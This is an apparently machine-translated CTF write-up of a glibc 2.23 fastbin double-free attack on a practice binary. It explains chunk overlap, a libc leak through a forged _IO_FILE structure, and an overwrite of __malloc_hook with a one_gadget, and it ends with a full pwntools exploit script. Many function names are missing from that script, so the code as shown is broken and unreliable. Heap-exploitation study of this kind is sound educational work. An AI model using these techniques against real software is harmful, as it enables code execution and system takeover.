Location>code7788 >text

Fastbin_attack of Frequent Home Visitor

Popularity:579 ℃/2024-08-03 15:02:59

Fastbin_attack of Frequent Home Visitor

principle analysis

fastbin belongs to the management of small heap blocks, the fastbin_attack here mostly refers to the practice before glibc2.26, because since glibc2.26, glibc ushered in a new member of the tachebin, which reduces the heap overhead and makes heap management fast and efficient, and the application of a small heap block will be prioritized into the tachebin, only tachebin one of the chain table is full again apply for a heap block of the same size, if the small heap block again free will enter the fastbin.

Here is the main look at fastbin, before glibc2.26 the check on fastbin double free is not so strict, that is to say, if there is a UAF vulnerability inside the program, we just need to free the first heap block followed by freeing a different heap block, freeing the first heap block again, resulting in a double free, realizing heap block Falsification and overlapping of heap blocks.

That is, a situation like the following

Inside pwngdb it looks like this

Then the next request for a heap block will request chunk0 away, and if the fd pointer to chunk0 is modified at this time then it will result in adding the fake_chunk to the fastbin chain table

It's something like this

Then the heap block overlap can be realized

Example Demonstration

Protection of titles

64-bit ida reverse

menu

add function, there is an upper limit on the number of heap blocks, apply for a heap block before applying for a 0x28 size of the control heap block, in the control heap block +8 position to write the address of the data heap block, and then finally can be to the control heap block +16 at the address of the data can be entered into the 23 bytes of data

free function, which is vulnerable to a UAF vulnerability, and can be double free.

show function, no real functionality

 

analyze

The program does not have show function, we apply for heap block when we first apply to the control heap block, and then their own input size of the heap block, but there is a limit on the size of the result is not difficult to apply to the unsortbin range of size of the chunk, but we can enter the contents of the control heap block, resulting in the chunk can be forged to the size of the bit to leak libc address can only be location of the heap block realization of overlapping heap blocks, the program has a UAF vulnerability, you can double free so that you can fake heap blocks, modify the size for the unsortbin size range and then free off the heap block

At this point in time, the heap block situation

But at this time the heap block size bit is 0x91, when applying the heap block fastbin has a check, so we have to recover the size of the heap block, but since there is no show function, you can apply the heap block to the IO structure, modify the _IO_write_base resulting in leakage of the libc address, and you need to blast the high byte if you are remote.

Heap block 7 in order to prevent the control heap block from cutting unsortbin chunks when applying for a heap block.

Then you can use the same technique to set up one_gadget on the __malloc_hook and __realloc_hook to get the shell

EXP

from pwn import *
context(log_level='debug',arch='amd64',os='linux')
​
io = process('../pwn162')
#io = remote('', 28304)
libc = ELF('/home/su/PWN/VIPshow/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.')
​
def Add(size,name,msg=8 * b'\x00' + p64(0x71) + b'\x00' * 7):
    ("Your choice : ", '1')
    ("size of the daniu's name: \n", str(size))
    ("daniu's name:\n", name)
    ("daniu's message:\n", msg)
​
​
​
​
def Delete(idx):
    ("Your choice : ", '3')
    ("daniu's index:\n", str(idx))
    ()
​
​
Add(0x60, 14 * p64(0x71))  # 0
Add(0x60, 14 * p64(0x71))  # 1
#(io)
Delete(0)
Delete(1)
Delete(0)
(io)
Add(0x60, '\x20')  # 2
Add(0x60, '\x20')  # 3
Add(0x60, '\x20')  # 4
Add(0x60, p64(0) + p64(0x71))  # 5
#(io)
Delete(0)
Delete(5)
Add(0x60, p64(0) + p64(0x91))  # 6
Add(0x20, 'bbbb')  # 7
Delete(0)
Delete(5)
Delete(7)
Add(0x60, p64(0) + p64(0x71) + b'\xdd\x45')  # 8
#(io)
Delete(7)
Add(0x60, 'deadbeef')  # 9
Delete(7)
#(io)
("Your choice : ", '1')
("size of the daniu's name: \n", str(0x60))
("daniu's name:\n", 0x33 * b'\x00' + p64(0x0FBAD1887) + p64(0) * 3 + b'\x58')
libc_base = u64((6).ljust(8,b'\x00')) - 0x3c46a3
success('libc_base---->'+hex(libc_base))
pause()
malloc_hook = libc_base +['__malloc_hook']
one = libc_base + 0xf1147
realloc  = libc_base   + ['__realloc_hook']
​
​
​
#(io)
('a')
Delete(5)
Delete(0)
Delete(5)
​
Delete(7)
Add(0x60,p64(malloc_hook -0x23))
Delete(7)
Add(0x60,p64(malloc_hook -0x23))
Delete(7)
Add(0x60,p64(malloc_hook -0x23))
​
Delete(7)
payload = b'a'*0xb + p64(one) + p64(realloc) 
#(io)
Add(0x60,payload)
#(io)
("Your choice : ", '1')
​
​
​
​
​
()
​